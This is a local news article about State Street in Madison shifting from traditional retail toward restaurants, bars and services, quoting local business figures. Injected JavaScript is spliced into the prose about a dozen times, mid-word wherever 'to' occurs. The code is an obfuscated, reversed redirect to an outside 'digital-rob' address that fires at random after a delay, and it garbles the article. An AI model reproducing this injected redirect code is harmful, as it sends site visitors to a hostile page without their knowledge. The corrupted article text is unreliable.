MADISON, Wis. — For generations of Madisonians, State Street has been a shopping destination.

But as changing demographics mean more people are living downtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town, many traditional retail stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores are being replaced by restaurants, coffee shops and bars.

“People spend their money differently than they did 10, 20 years ago, and people are spending more money as all of us know on entertainment,” Downtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town Madison Inc. president Susan Schmitz said.

Some retailers are trying tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to step away from the traditional shopping experience by making their business more of a “destination.”

“This is a beautiful stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore, and it’s a destination retailer that people come tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to and I think it’s going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to drive a lot more traffic down here especially around the holidays,” Under Armour Madison assistant manager Paula Salmon said.

Other businesses are focusing on providing services like haircuts and waxes.

But those who work on the street say filling people’s needs is the key factobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor.

“I’d say the best thing for State Street would be a balance. I mean State Street wouldn’t be State Street without a lot of those small local stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores that have been here for forever,” FjallRaven manager Victobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toria Albrect said.

Despite the changes… Schmitz says the area will remain important for the community for years tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to come.

“State Street survives because it’s a street for people. People like being there, but it changes in terms of its users and uses,” she said.

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